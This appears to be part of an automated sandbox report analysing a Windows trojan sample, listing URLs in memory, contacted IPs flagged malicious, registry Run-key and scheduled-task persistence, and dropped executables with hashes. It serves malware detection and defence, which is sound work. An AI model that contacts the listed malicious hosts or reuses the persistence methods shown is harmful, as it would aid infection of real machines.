http://www.petsfan.com/h1	DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fcwcvt.org/~1oN	DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/174-appartement-a-vendre-grenoble-30514	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/189-appartement-a-vendre-ajaccio-41880	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/price-slider_33.js?ver=1.	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pwd.org/	DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.556938701.000000000729E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=62	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=61	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=60	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pupi.cz/r	DFC9.exe, 00000015.00000002.556938701.0000000007280000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/comments/feed/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woo-rfq-for-woocommerce/gpls_assets/js/gpls_woo_rfq.js?ver	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=25	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.c9dd.com/	DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/?s=	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.aevga.com/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.naoi-a.com/	DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/pcb-restoration/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.abdg.com/	DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/pro-elements/assets/js/frontend.min.js?ver=3.3.1	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://chart.apis.google.com/chart?chs=100x100&cht=qr&chld=L	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://gmpg.org/xfn/11	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.myropcb.com/services-capabilities/stencil/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/177-appartement-a-vendre-sigean-30378	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/product/show_product.php?id=683	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/product/show_product.php?id=684	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.depalo.com/Z7	DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/product/show_product.php?id=685	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/product/show_product.php?id=686	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=5.5.	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/product/show_product.php?id=687	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce-currency-switcher/js/front.js?ver=1.3.7	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/js/main.min.js?ver=9.12.0	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gholographic.com/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.domon.com/	DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/astuces	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ora-ito.com/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tickets.suresupport.com/faq/article-1596/en	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quadlock.com/5K	DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/fonts/eicons.woff?5.10.0)	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/elementor/css/post-1009.css?ver=1670679061	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/themes/dt-the7/lib/jquery-mousewheel/jquery-mousewheel.min.js?ver=	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/cookie-law-info/public/css/cookie-law-info-gdpr.css?ver=2.	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/upload/img/202106301820427029.jpg	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/uploads/the7-css/css-vars.css?ver=899328ee298e	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://myropcb.com/login/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.winhui.cn/template/default/img/fixedimg4.png	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=8	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/services-capabilities/pcba-services/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/wp-content/uploads/bae_systems-1.png	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pupi.cz/9	DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.evcpa.com/&2	DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.item-pr.com/	DFC9.exe, 00000015.00000002.553455974.00000000012C3000.00000004.00000020.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woo-discount-rules/v2/Assets/Js/site_main.js?ver=2.3.7	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.petsfan.com/L1	DFC9.exe, 00000015.00000002.553455974.0000000001284000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/terms-of-service/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/wp-content/uploads/2022/12/image_20210920_231753_527-1024x682.jpg	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.ora-ito.com/	DFC9.exe, 00000015.00000002.553455974.00000000012E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://lolipop.jp/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.olras.com/	DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js?ver=3.3.	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cloudflare.com?utm_source=challenge&utm_campaign=m	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.jenco.co.uk/e	DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.naoi-a.com/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp, DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pcgrate.com/wp-content/uploads/woocommerce_uploads/logo-sdw6o6.gif	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pcgrate.com/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce-pdf-catalog/public/css/woocommerce-pdf-catalog	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com#webpage	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/wp-content/themes/framePCB/images/shopping_car.png	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/upload/img/201905280859514872.png	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.x0c.com/&HON	DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/woocommerce/assets/js/jquery-ui-touch-punch/jquery-ui-touc	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.pcgrate.com/wp-json/wp/v2/pages/1009	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/why-use-myro/satisfaction-guarantee/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valselit.com/wp-content/themes/internet-provider/css/fontawesome-all.css?ver=6.0.3	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.myropcb.com/testimonial/	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.jenco.co.uk/	DFC9.exe, 00000015.00000002.553455974.000000000128B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/alone/alone.php?id=67	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcgrate.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ve	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.mobilnic.net/upload/img/201905280901053168.png	DFC9.exe, 00000015.00000002.554740186.0000000003AB0000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
190.114.9.88	beg.com.ve	Panama	8100	ASN-QUADRANET-GLOBALUS	true
79.102.150.149	unknown	Sweden	2119	TELENOR-NEXTELTelenorNorgeASNO	true
211.171.233.126	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
187.209.149.199	unknown	Mexico	8151	UninetSAdeCVMX	true
210.182.29.70	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
37.234.187.254	unknown	Hungary	8448	PGSM-HUTorokbalintHungaryHU	true
190.140.74.43	perficut.at	Panama	18809	CableOndaPA	true
23.106.124.133	unknown	Singapore	59253	LEASEWEB-APAC-SIN-11LeasewebAsiaPacificpteltdSG	true
91.227.16.11	h167471.srv11.test-hf.su	Russian Federation	207027	EXIMIUS-ASRU	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	809638
Start date and time:	2023-02-16 11:47:21 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	file.exe
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@9/9@110/9
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 40% (good quality ratio 33.6%) Quality average: 64.1% Quality standard deviation: 37.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 44 Number of non-executed functions: 35
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, ctldl.windowsupdate.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:48:34	API Interceptor	707x Sleep call for process: explorer.exe modified
11:49:07	Task Scheduler	Run new task: Firefox Default Browser Agent 9FA1C9E55D76C4B4 path: C:\Users\user\AppData\Roaming\rgtrtas
11:50:01	API Interceptor	1x Sleep call for process: D02D.exe modified
11:50:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe
11:50:43	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run pigalicapi C:\Users\user\pigalicapi.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
190.114.9.88	GyTbKONlyq.exe	Get hash	malicious	Browse
	KjRdKF51Il.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	ALLGpcYPn3.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	K71X66Jhhu.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
www.tvtools.fi	GyTbKONlyq.exe	Get hash	malicious	Browse	104.21.88.198
	eQcKjYOV30.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	104.21.88.198
	SU2xrRCA3S.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	104.21.88.198
	y2PdD43EkF.exe	Get hash	malicious	Browse	172.67.152.159
	X3FY8LCacG.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	104.21.88.198
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	file.exe	Get hash	malicious	Browse	172.67.152.159
	A5VY5aB4rk.exe	Get hash	malicious	Browse	172.67.152.159

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ASN-QUADRANET-GLOBALUS	GyTbKONlyq.exe	Get hash	malicious	Browse	190.114.9.88
	KjRdKF51Il.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	ALLGpcYPn3.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	K71X66Jhhu.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	8dlWtwg48G.exe	Get hash	malicious	Browse	190.114.9.88
	8dlWtwg48G.exe	Get hash	malicious	Browse	190.114.9.88
	GyTbKONlyq.exe	Get hash	malicious	Browse	190.114.9.88
	KjRdKF51Il.exe	Get hash	malicious	Browse	190.114.9.88
	GW1u7Ax4Fu.exe	Get hash	malicious	Browse	190.114.9.88
	Ww8rdvUOAk.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	0a25ac441bb2adabe39c3349c625f2fa673ba097747f5.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	35d7bfaa55b73ca97da12fba7a06328783358576034ed.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	3gcs852R7S.exe	Get hash	malicious	Browse	190.114.9.88
	tHp33gimYz.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	jrVH8C0uGi.exe	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88
	https://sigtn.com/utils/emt.cfm?client_id=4768014&campaign_id=888888&qid=30692089&link=aHR0cHM6Ly96b3JkYWIubG9sP2U9UWt4dmFHNWxjMEJvWlhOekxtTnZiUT09	Get hash	malicious	Browse	190.114.9.88
	file.exe	Get hash	malicious	Browse	190.114.9.88

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
C:\Users\user\AppData\Local\Temp\DFC9.exe	GyTbKONlyq.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\DFC9.exe	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\D02D.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	567808
Entropy (8bit):	7.622573972455244
Encrypted:	false
SSDEEP:	12288:nVHjLhUVXBhn+CA//s93Qsm0b+O4n9S9RAkJE:n5vYxhEM9PxonARA
MD5:	351E9D6C319A51D02291C57DCCD2837F
SHA1:	1BEF058FCEE26CBB067F91BB347269DC2F40D7EE
SHA-256:	F72D871D40BCAA009D3F2456134152852F2776C74D5E24AF0BC69C1287422B16
SHA-512:	DCDD14D7CA1CFF15006F14211A7017876AC4E90414CDC626EAC778010A54CDAB75C6B58EACD1CC6B7D2BD072352EF5AC86620CF145C2D82CBE84D32C27246881
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].+..sE..sE..sE..!...sE..!..psE..!..1sE.>.>..sE..sD.sE..!...sE..!...sE..!...sE.Rich.sE.........PE..L......a................."...\.......g.......@....@..........................................................................&..d....0...B...........................................................@..@............................................text.... .......".................. ..`.data........@.......&..............@....rsrc....B...0...D...<..............@..@.reloc...(.......*..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DFC9.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	459264
Entropy (8bit):	6.811691785184634
Encrypted:	false
SSDEEP:	12288:UAmCYO5f9gYH6O5cr+rn6uMkvWhYvD+0sP:UAmCYOReYH6NCrn6uB40
MD5:	A0114856020C2A20C6C85A7DB2027B03
SHA1:	83DD0F53B4FD0D479F98A80E13CFB992E8237014
SHA-256:	0FC239EEF963BDC00F2DF0E9B581C68925B86E28DE511AD12EFB881CE2B1CF23
SHA-512:	05A1D92C7330839971604940B696A85D412FC99D6DDBC467051DCD1BA8CEA923F35C5AE7DE56D94124E01F76E9335E2D7FD488F5634E4231ECAEB62EC147B3FA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 21%
Joe Sandbox View:	Filename: GyTbKONlyq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}.z...)...)...).B.(...).B.(...).B.(...)A.P)...)A.R)...)A.S)...)(.j)...)...)y..)...)...)bB.(...)Rich...)........................PE..L....u.c.................2..........i........P....@..........................P............@..................................`..(................................6..................................0...@............P...............................text...`........................... ..`.text...`........................... ....rdata.......P.......6..............@..@.data...Xf...p...R...R..............@....gfids..d...........................@..@.debug_oP...........................@..B.reloc...6.......8..................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EF7A.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3884544
Entropy (8bit):	7.9781710711411105
Encrypted:	false
SSDEEP:	98304:Xd7cKoRj55L6fwb30V24T0oQsz9oasBhGLNB:XezRF5L6fwD0cm0oQsjsqL
MD5:	87B2335C70644C8760842168AB533110
SHA1:	12A9C90364C740B9BA79AE17C1231C9FD149BE51
SHA-256:	69986FEF23051BFFD89CD0102875936B9D4F965A4CA9C9ED93799747BFDD3B0C
SHA-512:	8AE20E2C731DA6FAFD7261D29DB550510ADE4BC4E339DFC55E42B438A5CC9A71BF41AF63351F3FBB802B283AE9EC3D8A62D310775DB39248ECEC697A52D10E8F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......].+..sE..sE..sE..!...sE..!..psE..!..1sE.>.>..sE..sD.sE..!...sE..!...sE..!...sE.Rich.sE.........PE..L......a................."....L......g.......@....@..........................`O.......;......................................&..d.....L..B....................O..............................A.......@..@............................................text.... .......".................. ..`.data...HiK..@....8..&..............@....rsrc....R....L..D....9.............@..@.reloc..BH....O..J....:.............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\EF7A.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4487680
Entropy (8bit):	6.564513804690393
Encrypted:	false
SSDEEP:	98304:XJIkmx5C4J/FM844K9g15wwRZwVVvg5U1yuXVdjcC0FyL:Skmm4J/m844Ft/1
MD5:	A58B472FDF5BC6247E669FD4A48B73B8
SHA1:	5AC675FF2C92B84C38AC2DBD6E908D61AD240D8E
SHA-256:	1E4C1A6D618553CA995C89146C177894CABAEA189A6AC3C1BBE8823AEE4CABA3
SHA-512:	F93F702AE0D259BA1A26AACAF5783FE31373E2DFEF47258673AE64CED43B91C0119AAE0B3D035BF51DFBBC05FC95DD76501CF56B70EF90BB33468979001FCCFA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
